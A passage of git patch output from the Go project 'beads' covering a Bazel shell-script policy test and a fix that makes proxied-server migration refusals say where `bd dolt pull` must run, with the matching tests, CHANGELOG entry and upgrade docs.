+// fails on an unallowlisted, ungated bare `go`/`gofmt` exec. See the package +// comment for scope and the detection tradeoffs. +func TestNoUngatedBareGoInBazelReachedShellScripts(t *testing.T) { + root := sourceRepoRoot(t) + seenAllow := map[string]map[string]bool{} // file -> "fn\x00snippet" -> true + for _, rel := range shellPolicyScope { + path := filepath.Join(root, filepath.FromSlash(rel)) + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v (shellPolicyScope entry no longer exists; update it)", rel, err) + } + src := string(data) + gating := shellLineGating(src) + for _, hit := range findShellHostToolExecs(src) { + if gating[hit.line] { + continue + } + if shellMatchAllowlist(shellExecAllowlist[rel], hit.fn, hit.snippet) { + if seenAllow[rel] == nil { + seenAllow[rel] = map[string]bool{} + } + seenAllow[rel][hit.fn+"\x00"+strings.TrimSpace(hit.snippet)] = true + continue + } + tool := "go " + hit.verb + if hit.verb == "" { + tool = "gofmt" + } + t.Errorf("%s:%d: ungated bare `%s`: under `bazel test` the hermetic-first PATH "+ + "may lack a host toolchain, so this can exit 127 on some workers (f4-spec.md "+ + "§9); gate it on TEST_SRCDIR/a shellBazelSetVars entry, resolve it through a "+ + "Bazel-wired env var, or add a justified shellExecAllowlist entry\n\t%s", + rel, hit.line, tool, strings.TrimSpace(hit.snippet)) + } + } + for rel, entries := range shellExecAllowlist { + for _, e := range entries { + if !seenAllow[rel][e.fn+"\x00"+strings.TrimSpace(e.snippet)] { + t.Errorf("shellExecAllowlist entry %s (fn=%q, snippet=%q) no longer matches "+ + "an ungated bare exec; remove it", rel, e.fn, e.snippet) + } + } + } +} + +// TestShellPolicyScopeFilesExist is a guard against shellPolicyScope rotting +// silently: repoFiles-style tests elsewhere skip missing files quietly, but +// this list is hand-maintained, so a missing entry should fail loudly instead +// of just scanning fewer files than the comment above claims. +func TestShellPolicyScopeFilesExist(t *testing.T) { + root := sourceRepoRoot(t) + for _, rel := range shellPolicyScope { + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(rel))); err != nil { + t.Errorf("shellPolicyScope entry %s: %v", rel, err) + } + } + if len(shellPolicyScope) < 10 { + t.Fatalf("shellPolicyScope has only %d entries; did a bulk edit truncate it?", len(shellPolicyScope)) + } +} + +// TestShellPolicyScopeCoversBazelShellData (review point 3's mechanical +// backstop: a regex walk over every BUILD.bazel looking for a literal `.sh` +// path under scripts/ or .github/scripts/ in a data/srcs list) was removed +// (gastownhall/beads#7485 review item 4). Its regex could not parse a +// `//pkg:file.sh` label, a `.bzl` file, or a glob() -- the three real +// reference shapes this repo's BUILD files actually use for most scripts in +// shellPolicyScope above -- so even with //:repo_other_files (every tracked +// BUILD/.bzl/script file) as data, it would not have caught +// check-versions.sh, scripts/test.sh, scripts/conformance.sh or +// scripts/release.sh going missing from shellPolicyScope; a hand reviewer +// citing each script's BUILD wiring (as the comment above does) is what +// actually found them. Paying //:repo_other_files' cost on every target that +// used it (758 extra input files, a measured 91.5%->96% rise in this +// package's cache-rerun rate across the whole repo) for a check that was +// already demonstrably incomplete was not worth it; there is no `bazel +// query`-free static check of Starlark label/glob references this policy can +// do honestly, so shellPolicyScope's accuracy depends on the hand curation +// above, same as the run_check.sh-as-launcher family already did. diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel index 7940a4538..7e476796f 100644 --- a/scripts/repochecks/BUILD.bazel +++ b/scripts/repochecks/BUILD.bazel @@ -355,6 +355,17 @@ sh_test( }, ) +# Readable by //scripts:go_sources_test's host_tool_shell_policy_test.go, +# which scans every sh_test PROGRAM/srcs this package runs under Bazel for +# ungated bare host-`go` execs (f4-spec.md §9). +exports_files( + [ + "run_check.sh", + "types_gen_drift_test.sh", + ], + visibility = ["//scripts:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( From a4c47ccfdf7d3edb34b0c305fc1a502fa6164458 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 11 Oct 2026 00:23:25 +0000 Subject: [PATCH 224/325] fix(schema,uow): route the proxied data-behind open to the #6575 stop (port of #6695 to main) (#7481) * fix(schema,uow): route the proxied data-behind open to the #6575 stop with topology-correct guidance (port of #6695) Port of the release/1.3.x commit bb03a310a9 (PR #6695) to main, where it never landed: v1.3.1 is cut from a release branch that is not an ancestor of main. The proxied / `bd serve` open path never reached the #6575 data-behind stop. doltSQLProvider.initSchemaAttempt passed a nil adopter to CheckSharedStoreMigrateGate, so localDataBehind short-circuited and the router could never emit smartDataBehind. A proxied store that was level on schema and behind in data reported `shared-store` instead, whose body is the designated-migrator recipe -- `bd migrate --force` then `bd dolt push` -- which in that state is exactly the #6368 wedge the stop exists to prevent. The refusal was always safe (the shared arm suppresses the auto-migrate either way); the guidance was not. - uow: wire a dataBehindAdopter with AheadBehind only (versioncontrolops.LocalAheadBehind). IsStrictAncestor/WorkingSetClean stay nil so the remote-ahead arm keeps its plain adopt directive, and FastForward stays nil because it would promote the schema for every co-resident client. Read-only proxied opens print the pull-first block instead of the shared-consent template. - uow.WithProxiedServerMode(), set only by openProxiedServerUOWProvider, marks the refusal Proxied: the same provider serves `bd serve` on a SERVER-mode workspace, where `bd dolt pull` works. - schema: a Proxied refusal names the server host as where the pull runs (`bd dolt pull` is refused at the proxied front door, proxy.dolt_pull.unsupported), the option id becomes pull-first-on-server-host, and the guidance says the forced `bd migrate schema --force` consent step IS runnable from the proxied workspace (the capability registry permits `migrate schema`), so it must wait for the pull, and that BD_ALLOW_REMOTE_MIGRATE=1 is reachable too. - cmd/bd: the --json `expected` field carries the same location qualifier (dataBehindExpectedField). Not ported, because main already has it: the release PR's F-B half (the shared data-behind consent step naming `bd migrate schema --force` and its --global twin, the printGlobalDatabaseConsentHint retarget, and the shared_migrate_consent_test.go changes) landed on main as #6692. Adapted to main: the release line's proxyMaintenanceRefusals table is main's capability registry, so TestProxyMaintenanceAllowsTheSharedConsentVerb drives validateProxyRegistryBeforeProvider for every proxied topology and also pins that `bd dolt pull` and the bare `bd migrate` are refused; the CHANGELOG paragraph is appended to main's existing #6575 entry. Co-authored-by: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 * docs(upgrading): where the proxied data-behind pull runs; pin its plumbing Review fixes for the proxied data-behind stop: the one major of review attempt 1, the cheap minors, and the nit, plus the wording minor of attempt 2. - Clone behind the remote, the docs section the gate's payload links to, prescribed `bd dolt pull` with no topology qualifier: the remedy a proxied-server workspace refuses at its front door. Its intro now says so, and a proxied-server step pair puts the pull (and any conflict resolution) on the server host, from a workspace with direct database access, then `bd migrate schema --force` in the proxied workspace. It also warns that nothing there enforces that order: `--force` and BD_ALLOW_REMOTE_MIGRATE=1 are honored before the stop is reached, so the stop never sees them. The warning ends on the payload's own instruction, not to reach for either to get past the stop, rather than a negation ("neither is a way past it") that read as the topology blocking the wedge. The pending-migration exception above the section, the proxied-server list under Shared servers (now three differences) and the init-safety ordering rule say the same. The heading, and with it the anchor the gate links, is unchanged. - The option plumbing that carries the fix is pinned link by link. TestApplyProviderOptions covers WithProxiedServerMode (it sets that field and no open posture). The cmd/bd append moves into proxiedProviderOptions, which TestProxiedProviderOptions holds to exactly one added option on a fresh slice. And TestNewDoltServerUOWProvider_CarriesProxiedServerMode opens two real providers on one server, with and without the option, and reads the field the gate copies; openAndInitSchema's provider literal and the shared test open helpers are left as they were. - TestProxyMaintenanceAllowsTheSharedConsentVerb also pins `bd dolt push` and `bd conflicts resolve` as refused, the rest of the list the proxied refusal body recites. `dolt push` is refused as unimplemented, the kind of row that flips to allowed once a route lands. - localDataBehind's doc comment is re-wrapped so the IsStrictAncestor sentence no longer breaks across the inserted parenthetical. - The CHANGELOG entry notes the docs change. Each new pin is red with its link reverted: the option dropped from the cmd/bd append, the append made in place, the field copy deleted from the provider literal, the constructor dropping its options, the option also setting preview, and the push and conflicts codes changed. Still unpinned: which option the cmd/bd append adds (options are opaque outside uow) and that `bd serve`'s server-mode open passes none; both need a seam in cmd/bd. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 24 ++ cmd/bd/proxy_capability_test.go | 110 +++++++ cmd/bd/remote_migrate_gate.go | 18 +- cmd/bd/remote_sync_open_test.go | 38 ++- cmd/bd/uow_factory.go | 16 +- cmd/bd/uow_factory_test.go | 46 +++ docs/getting-started/upgrading.md | 32 +- docs/recovery/init-safety.md | 3 +- .../storage/schema/remote_migrate_gate.go | 122 +++++++- .../schema/smart_remote_migrate_gate.go | 11 +- .../schema/smart_remote_migrate_gate_test.go | 57 ++++ internal/storage/uow/BUILD.bazel | 2 + .../uow/data_behind_migrate_gate_test.go | 288 ++++++++++++++++++ internal/storage/uow/dolt_sql_provider.go | 80 ++++- .../storage/uow/doltserver_provider_test.go | 63 ++++ internal/storage/uow/preview_provider_test.go | 14 +- 16 files changed, 896 insertions(+), 28 deletions(-) create mode 100644 internal/storage/uow/data_behind_migrate_gate_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index f37674dbc..7a2a43a96 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1128,6 +1128,30 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 section — plus the upgrade and init-safety ordering rules — now records the `bd dolt pull` exception instead of stating the pull is always refused. + **Proxied-server mode reaches the stop too, and is told where to run the + remedy.** The store-open gate on that path supplied no branch-position + callback, so a proxied clone that was level on schema and behind in data + could never be classified data-behind: it got the blunt shared-store refusal, + whose body is the designated-migrator recipe — `bd migrate --force` then + `bd dolt push` — which in this state is the wedge the stop exists to prevent. + It now routes to the same data-behind stop as every other topology. Because + `bd dolt pull` is refused at the proxied front door + (`proxy.dolt_pull.unsupported`), along with `bd dolt push`, the bare + `bd migrate` and `bd conflicts`, the guidance there names the machine the pull + has to run on rather than printing a command this binary rejects; the `--json` + option is `pull-first-on-server-host`, and `expected` carries the same + qualifier so a single-field reader is not handed a locally-refused command. + The shared-store consent step is the other way round: `bd migrate schema + --force` is *not* refused here — the capability registry permits the + two-word `migrate schema` path — so the guidance says it can be run from this + workspace but only after the pull lands on the server host, and the warning + against forcing past the stop names it alongside `BD_ALLOW_REMOTE_MIGRATE=1` + as the two consent surfaces this topology can still reach. Read-only proxied + opens print the same pull-first block instead of the shared-consent template. + The *Clone behind the remote* docs section the payload links to, and the + upgrade and init-safety ordering rules that point at it, now give the same + proxied-server answer. + Both existing escape hatches are unchanged: `bd migrate --force` / `BD_ALLOW_REMOTE_MIGRATE=1` are still consulted before the smart gate, and `BD_SMART_GATE=0` still yields the blunt gate unconditionally (including for diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 4bf83a8e3..b9bc35e93 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -11,8 +11,118 @@ import ( "testing" "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/storage/schema" ) +// TestProxyMaintenanceAllowsTheSharedConsentVerb pins the capability facts the +// #6575 proxied data-behind guidance is written against: the consent command +// that guidance prescribes is NOT refused at the proxied front door, while the +// bare `bd migrate` verb, the `bd dolt pull` remedy and the other refusals the +// guidance names (`bd dolt push`, `bd conflicts`) are. +// +// The capability registry keys on the full command path. It refuses the bare +// `migrate` verb and `migrate hooks` / `migrate issues` / `migrate sync`, but +// permits `migrate schema` — so that path passes +// validateProxyRegistryBeforeProvider and reaches `bd migrate schema`'s own +// proxied arm, which reports the migration the provider open already applied +// under this verb's consent. +// +// An earlier revision of that guidance asserted the opposite on three runtime +// surfaces and nothing failed, because no test called the front door with this +// command. The wording is not cosmetic: forceOrEnvConsent honors `--force` +// BEFORE the data-behind stop is routed, so an operator told "it is refused +// here anyway" who types it to confirm takes the exact wedge the stop exists +// to prevent. +// +// The command is resolved from the constant the gate prescribes rather than +// retyped here, so drift on either side has to face this test. +func TestProxyMaintenanceAllowsTheSharedConsentVerb(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + args := strings.Fields(strings.TrimPrefix(schema.SharedConsentCommandForced, "bd ")) + target, _, err := rootCmd.Find(args) + if err != nil || target == rootCmd { + t.Fatalf("the gate prescribes %q, which does not resolve to a subcommand: %v", + schema.SharedConsentCommandForced, err) + } + if path := commandRegistryPath(target); path != "migrate schema" { + t.Fatalf("prescribed consent command resolves to path %q, want %q", path, "migrate schema") + } + + find := func(t *testing.T, args ...string) *cobra.Command { + t.Helper() + cmd, _, err := rootCmd.Find(args) + if err != nil || cmd == rootCmd { + t.Fatalf("bd %s does not resolve: %v", strings.Join(args, " "), err) + } + return cmd + } + bareMigrate := find(t, "migrate") + doltPull := find(t, "dolt", "pull") + doltPush := find(t, "dolt", "push") + // `conflicts` itself is a parent group that cobra answers with help before + // any gate runs, so the refusal the guidance relies on lives on its leaves; + // resolve is the one a diverged pull's conflicts would need. + conflictsResolve := find(t, "conflicts", "resolve") + + for _, topology := range []ProxyTopology{ + ProxyTopologyManagedLocal, ProxyTopologyExternalTCP, + ProxyTopologyExternalUnix, ProxyTopologyTeamServer, + } { + t.Run(string(topology), func(t *testing.T) { + var allowErr error + out := captureStdout(t, func() error { + allowErr = validateProxyRegistryBeforeProvider(target, topology) + if allowErr == nil { + allowErr = validateProxyCapabilitiesBeforeProvider(target) + } + return nil + }) + if allowErr != nil { + t.Errorf("%q is refused before the provider (%v), but the #6575 proxied data-behind guidance tells the operator it can be run from this workspace", + schema.SharedConsentCommandForced, allowErr) + } + if out != "" { + t.Errorf("a non-refusal still emitted a typed error: %s", out) + } + + // The counterfactuals, so "only the bare `bd migrate` verb is + // refused here" and "the pull cannot be run from here" are claims + // and not vacuous ones. The push and conflicts rows hold the rest + // of the refusal list the proxied body recites: `dolt push` is + // refused as unimplemented, the class of row that flips to allowed + // once a route lands (as `dolt commit`'s did), and the body would + // then name a refusal that no longer exists. + for _, tc := range []struct { + cmd *cobra.Command + code string + }{ + {bareMigrate, "proxy.migrate.unsupported"}, + {doltPull, "proxy.dolt_pull.unsupported"}, + {doltPush, "proxy.dolt_push.unsupported"}, + {conflictsResolve, "proxy.conflicts.unsupported"}, + } { + var refuseErr error + refusal := captureStdout(t, func() error { + refuseErr = validateProxyRegistryBeforeProvider(tc.cmd, topology) + return nil + }) + if refuseErr == nil { + t.Errorf("bd %s is no longer refused in proxied-server mode; the data-behind guidance says it is", + commandRegistryPath(tc.cmd)) + continue + } + if !strings.Contains(refusal, `"code": "`+tc.code+`"`) { + t.Errorf("bd %s refusal = %q, want %s", commandRegistryPath(tc.cmd), refusal, tc.code) + } + } + }) + } +} + func TestProxyCapabilityMatrix(t *testing.T) { for _, capability := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows} { err := AssertProxyCapability(ProxyModeProxied, capability) diff --git a/cmd/bd/remote_migrate_gate.go b/cmd/bd/remote_migrate_gate.go index 909466c41..52c0bb40e 100644 --- a/cmd/bd/remote_migrate_gate.go +++ b/cmd/bd/remote_migrate_gate.go @@ -68,6 +68,22 @@ func humanDecisionRequired(e *schema.RemoteMigrateGateError) bool { return !(e.IsDataBehind() && !e.DataDiverged && !e.Shared) } +// dataBehindExpectedField renders the data-behind stop's `expected` field. +// +// On a proxied workspace the remedy is the same command in a different PLACE, +// and `expected` is what a single-field agent reader keys on. The option id, +// its when/risk and the hint all carry that qualifier, so leaving it off here +// alone would hand such a reader a command its own front door refuses +// (proxy.dolt_pull.unsupported). Kept out of handleRemoteMigrateGateJSON so +// the qualifier does not add another branch to that already-deep switch. +func dataBehindExpectedField(proxied bool) string { + const tail = "; the migration is only allowed once this clone has nothing left to pull" + if proxied { + return "run `" + schema.DataBehindRemedyCommand + "` on the machine that hosts this database first — this workspace is in proxied-server mode, where it is refused (proxy.dolt_pull.unsupported)" + tail + } + return "run `" + schema.DataBehindRemedyCommand + "` first" + tail +} + // handleRemoteMigrateGateJSON renders the #4259 remote-migrate gate error as a // structured JSON error block for agent consumption. // @@ -208,7 +224,7 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { gate["data_behind_shape"] = "fast-forward" } gate["observed"] = observed - gate["expected"] = "run `" + schema.DataBehindRemedyCommand + "` first; the migration is only allowed once this clone has nothing left to pull" + gate["expected"] = dataBehindExpectedField(e.Proxied) // The docs pointer is set once above alongside the blunt // observed/expected pair, and has to move with them: the section it // names tells the reader `bd dolt pull` is refused on every diff --git a/cmd/bd/remote_sync_open_test.go b/cmd/bd/remote_sync_open_test.go index 286858744..b3bda59ac 100644 --- a/cmd/bd/remote_sync_open_test.go +++ b/cmd/bd/remote_sync_open_test.go @@ -101,18 +101,27 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { } for _, tc := range []struct { - name string - diverged bool - wantShape string + name string + diverged bool + proxied bool + wantShape string + wantOptionID string }{ - {name: "fast-forward shape", diverged: false, wantShape: "fast-forward"}, - {name: "diverged shape", diverged: true, wantShape: "diverged"}, + {name: "fast-forward shape", diverged: false, wantShape: "fast-forward", wantOptionID: "pull-first"}, + {name: "diverged shape", diverged: true, wantShape: "diverged", wantOptionID: "pull-first"}, + // On a proxied workspace the remedy is the same command in a different + // PLACE, and observed/expected are what a single-field reader keys on. + // The qualifier reached the option id and the hint an iteration before + // it reached expected, which is the divergence this case exists to + // catch: all three are asserted together below. + {name: "proxied qualifies every remedy field", proxied: true, wantShape: "fast-forward", wantOptionID: "pull-first-on-server-host"}, } { t.Run(tc.name, func(t *testing.T) { gate := &schema.RemoteMigrateGateError{ CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: tc.diverged, + Proxied: tc.proxied, } parsed := capture(t, gate) obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) @@ -157,8 +166,8 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { t.Fatalf("options = %v, want exactly one (the pull)", obj["options"]) } o, _ := rawOpts[0].(map[string]interface{}) - if id, _ := o["id"].(string); id != "pull-first" { - t.Errorf("option id = %v, want \"pull-first\"", o["id"]) + if id, _ := o["id"].(string); id != tc.wantOptionID { + t.Errorf("option id = %v, want %q", o["id"], tc.wantOptionID) } cmds, _ := o["commands"].([]interface{}) if len(cmds) != 1 || cmds[0] != schema.DataBehindRemedyCommand { @@ -179,6 +188,21 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { if hint == gate.EscapeHint() { t.Errorf("hint must not be the runnable escape command %q", gate.EscapeHint()) } + // The location qualifier is all-or-nothing across the three fields + // an agent may read on their own: an `expected`-only reader on this + // topology would otherwise be handed a command its own front door + // refuses, while `options` and `hint` said where to run it. + if tc.proxied { + for name, surface := range map[string]string{"expected": expected, "hint": hint} { + for _, want := range []string{"proxied-server mode", "proxy.dolt_pull.unsupported"} { + if !strings.Contains(surface, want) { + t.Errorf("proxied %s = %q, want it to carry %q the way options[0] does", name, surface, want) + } + } + } + } else if strings.Contains(expected, "proxied-server mode") { + t.Errorf("expected = %q carries the proxied qualifier on a direct workspace, where the pull is runnable here", expected) + } // Nothing anywhere in the block may offer the migrate/push pair or // the no-op bootstrap for this state. blob, err := json.Marshal(parsed) diff --git a/cmd/bd/uow_factory.go b/cmd/bd/uow_factory.go index 9facce662..576cb5d99 100644 --- a/cmd/bd/uow_factory.go +++ b/cmd/bd/uow_factory.go @@ -210,7 +210,21 @@ func openProxiedServerUOWProvider(ctx context.Context, beadsDir, databaseOverrid if err != nil { return nil, err } - return newSQLServerUOWProvider(ctx, beadsDir, topology, opts...) + // This is the one entry point that is proxied-server mode by definition; + // the funnel below is shared with `bd serve`'s SERVER-mode provider, which + // must not be told it is proxied. The distinction reaches exactly one + // thing: a migration-gate refusal whose remedy is `bd dolt pull` has to + // say where that pull can be run, because proxied mode refuses it at the + // front door (proxy.dolt_pull.unsupported) and server mode does not. + return newSQLServerUOWProvider(ctx, beadsDir, topology, proxiedProviderOptions(opts)...) +} + +// proxiedProviderOptions is opts plus uow.WithProxiedServerMode(), built on a +// fresh slice so the caller's backing array is never written even when it has +// spare capacity. Extracted (rather than inlined at the call site) so the +// wiring has something to unit test; see TestProxiedProviderOptions. +func proxiedProviderOptions(opts []uow.ProviderOption) []uow.ProviderOption { + return append(append([]uow.ProviderOption{}, opts...), uow.WithProxiedServerMode()) } // newSQLServerUOWProvider is the single funnel every unit-of-work provider bd diff --git a/cmd/bd/uow_factory_test.go b/cmd/bd/uow_factory_test.go index 6eabc3e8b..032136b98 100644 --- a/cmd/bd/uow_factory_test.go +++ b/cmd/bd/uow_factory_test.go @@ -7,6 +7,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/uow" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -47,6 +48,51 @@ func TestRootProviderOptions(t *testing.T) { } } +// TestProxiedProviderOptions pins the proxied-only half of the open posture: +// every proxied open gains exactly one option on top of the caller's, the +// proxied-server marker the data-behind refusal reads to say where `bd dolt +// pull` can be run. Dropping that append would put a proxied workspace back on +// the runnable-here remedy its own front door refuses. As with +// TestRootProviderOptions, the options are opaque from here: uow's +// TestApplyProviderOptions pins what WithProxiedServerMode sets, and +// TestNewDoltServerUOWProvider_CarriesProxiedServerMode that the open carries +// it to the gate. +func TestProxiedProviderOptions(t *testing.T) { + for _, tt := range []struct { + name string + in []uow.ProviderOption + }{ + {name: "no caller options"}, + {name: "preview", in: []uow.ProviderOption{uow.WithPreview()}}, + {name: "read-only", in: []uow.ProviderOption{uow.WithReadOnly()}}, + } { + t.Run(tt.name, func(t *testing.T) { + out := proxiedProviderOptions(tt.in) + if len(out) != len(tt.in)+1 { + t.Fatalf("proxiedProviderOptions(%d options) len = %d, want %d", len(tt.in), len(out), len(tt.in)+1) + } + for i, o := range out { + if o == nil { + t.Fatalf("proxiedProviderOptions(%d options)[%d] is nil", len(tt.in), i) + } + } + }) + } + + // The append must not land in the caller's backing array: with spare + // capacity an in-place append would write the marker into a slice the + // caller still owns. + in := make([]uow.ProviderOption, 1, 4) + in[0] = uow.WithPreview() + out := proxiedProviderOptions(in) + if &out[0] == &in[0] { + t.Fatal("proxiedProviderOptions returned the caller's backing array") + } + if in[:cap(in)][1] != nil { + t.Fatal("proxiedProviderOptions wrote into the caller's spare capacity") + } +} + func TestNewProxiedServerUOWProvider_RoutesExternalConfigToExternalProvider(t *testing.T) { beadsDir := t.TempDir() require.NoError(t, configfile.SaveProxiedServerClientInfo(beadsDir, &configfile.ProxiedServerClientInfo{ diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 717dfbd91..6aaecc52b 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -284,7 +284,9 @@ There is one exception, and the gate names it when it applies: if the stop is the *data-behind* one — this clone is level with the remote on schema but is missing commits it has not pulled — then `bd dolt pull` is the remedy and is allowed through, because migrating before that pull is what wedges the clone. -See [Clone behind the remote](#clone-behind-the-remote). Every other +A proxied-server workspace refuses `bd dolt pull` outright, so there the pull +runs on the server host instead. See +[Clone behind the remote](#clone-behind-the-remote). Every other pending-migration refusal still blocks the pull, so the ordering rule above is what to plan for. @@ -384,6 +386,8 @@ It runs in both server and embedded modes. This is the one pending-migration stop whose remedy is a `bd dolt pull`, and the one the gate links here rather than to the migrate-or-adopt recipe above. +A proxied-server workspace refuses that pull, so it runs on the server host +instead; the last part of this section covers that case. It fires when the clone is **level with the remote on schema but behind it in data** — the remote has commits this clone has not pulled. On schema alone the @@ -430,6 +434,25 @@ bare `bd migrate schema` consent applies only to a shared database with *no* remote. It is safe at this point and only at this point: the pull has already landed the commits the clone was missing. +**In proxied-server mode** the database is shared too, so the same two steps +apply, but they run from two places. The workspace refuses `bd dolt pull` +(`proxy.dolt_pull.unsupported`) and `bd conflicts`, so the pull, and any +conflict resolution it needs, runs where the database lives: on the server +host, from a workspace with direct database access. The consent step can then +be run from the proxied workspace, but only once that pull has landed: + +```bash +bd dolt pull # on the server host, with direct database access +bd migrate schema --force # then, from the proxied workspace +``` + +Nothing in the proxied workspace enforces that order. It refuses the bare +`bd migrate` verb but not `bd migrate schema --force`, and +`BD_ALLOW_REMOTE_MIGRATE=1` grants the same consent to any command. Both are +honored before this stop is reached, so the stop never sees them: run either +one before the pull and it migrates the database while it is still behind. +Do not reach for either to get past the stop. + ### Shared servers A server-mode database is served to every `bd` client connected to that @@ -490,7 +513,7 @@ there: do step 2 from a client that is already set up, or join and migrate in one step with `BD_ALLOW_REMOTE_MIGRATE=1 bd init …`. The same rules apply in **proxied-server mode**, which is a shared server -reached through a local proxy. Two differences worth knowing: +reached through a local proxy. Three differences worth knowing: - read commands print a warning and keep serving the current schema, rather than the read simply not touching it; @@ -498,7 +521,10 @@ reached through a local proxy. Two differences worth knowing: because a daemon has no operator to consent for it. Reconcile the schema first with step 2, then start the daemon — or, for an unattended service, put `BD_ALLOW_REMOTE_MIGRATE=1` in its environment as an explicit, auditable - standing consent. + standing consent; +- the data-behind stop's remedy, `bd dolt pull`, cannot be run from the + proxied workspace: run it on the server host first, then consent from the + proxied workspace (see [Clone behind the remote](#clone-behind-the-remote)). ## Cross-era Upgrades diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index 1592552f7..ae66f6095 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -422,7 +422,8 @@ skipping straight to `bd list`) can hit either of two live gotchas — see binary is installed, `bd dolt push`/`bd dolt pull` are gated too, so this must happen first. The one exception is the *data-behind* stop — a clone level on schema but missing commits the remote has — where `bd dolt pull` **is** the - remedy and is allowed through; the gate says so when it fires, and + remedy and is allowed through (a proxied-server workspace refuses it, so + there the pull runs on the server host); the gate says so when it fires, and [Clone behind the remote](/getting-started/upgrading#clone-behind-the-remote) has the recipe. Plan for the rule, not the exception. - **One designated migrator**: upgrade one machine, let it migrate, then diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 13630f4e9..0d6075dd6 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -127,6 +127,20 @@ type RemoteMigrateGateError struct { // can report conflicts to resolve first. Set only when // FallbackReason == fallbackReasonDataBehind; meaningless otherwise. DataDiverged bool + + // Proxied marks a refusal raised on a proxied-server-mode open — the unit + // of work provider, which reaches its database only through the dbproxy. + // It changes WHERE the data-behind remedy can be run, not what it is: in + // that mode `bd dolt pull` is refused at the front door + // (proxy.dolt_pull.unsupported, cmd/bd/capability_registry.go), along with + // `bd dolt push`, `bd migrate` and `bd conflicts`. Printing the bare + // command there would hand the operator a remedy their own binary rejects, + // so the surfaces that name it say to run it where the database lives. + // + // Deliberately set by the provider after the gate returns rather than + // plumbed into the gate: the topology is the caller's fact, and every + // other injection site would have to pass a constant false. + Proxied bool } const ( @@ -268,7 +282,16 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { case fallbackReasonSharedStore: why = "this store is shared (dolt sql-server); the first-mover auto-migrate is disabled here because it would lock out co-resident clients (#5920)" case fallbackReasonDataBehind: - why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). Run `" + DataBehindRemedyCommand + "` first, then retry: this clone is then the true first-mover it looked like" + // UserMessage prints this note AFTER userBody, so on a proxied + // workspace an unqualified remedy makes the LAST paragraph tell the + // operator to type here the command the paragraph above just said the + // front door refuses. Gate it the same way dataBehindBody and + // Options() already do. + remedy := "Run `" + DataBehindRemedyCommand + "` first, then retry" + if e.Proxied { + remedy = "Run `" + DataBehindRemedyCommand + "` on the server host first (this workspace is in proxied-server mode, which refuses it — proxy.dolt_pull.unsupported), then retry here" + } + why = "this clone is behind the remote in data commits it has not pulled, so it is not the first-mover it looks like on schema alone — migrating in place would diverge from those commits, and can leave every later `bd dolt pull` refusing to merge (#6575, #6368). " + remedy + ": this clone is then the true first-mover it looked like" // Only promise the retry resolves itself where it actually does. On a // shared store the first-mover auto-migrate is suppressed regardless // (fallbackReasonSharedStore, #5920), so pulling clears THIS stop but @@ -322,6 +345,22 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " This clone has no commits of its own, so the pull is a pure fast-forward:\n" + " nothing local is merged or discarded.\n" } + if e.Proxied { + // The remedy is the same command; what changes is where it can be + // typed. This workspace reaches the database through the dbproxy, and + // the proxied front door refuses `bd dolt pull` outright — so leaving + // the line above unqualified would name a command this very binary + // rejects (gastownhall/beads#6575 follow-up). It sits after the shape + // clause because the conflict handling that clause describes moves to + // the same machine. + body += "" + + "\n" + + " That pull cannot be run from here: this workspace is in proxied-server mode,\n" + + " which refuses `" + DataBehindRemedyCommand + "` at the front door (proxy.dolt_pull.unsupported),\n" + + " along with `bd dolt push`, the bare `bd migrate` and `bd conflicts`. Run\n" + + " it — and any conflict resolution it needs — where the database lives: on\n" + + " the server host, from a workspace with direct access to that database.\n" + } body += "" + "\n" + " Then re-run what you just ran.\n" @@ -340,6 +379,26 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " until they are upgraded (#5920). Once the pull above has completed:\n" + " " + SharedConsentCommandForced + "\n" + " (" + SharedConsentCommandForcedGlobal + " for the shared global database)\n" + if e.Proxied { + // Unlike the pull, this consent step is NOT refused here, and + // saying otherwise would be wrong in the unsafe direction. The + // proxied capability registry keys on the command path + // (cmd/bd/capability_registry.go): it refuses the bare `migrate` + // verb and its hooks/issues/sync children, but permits + // `migrate schema`, so the two-word path passes + // validateProxyRegistryBeforeProvider to a proxied arm that + // reports the migration the provider open just applied under this 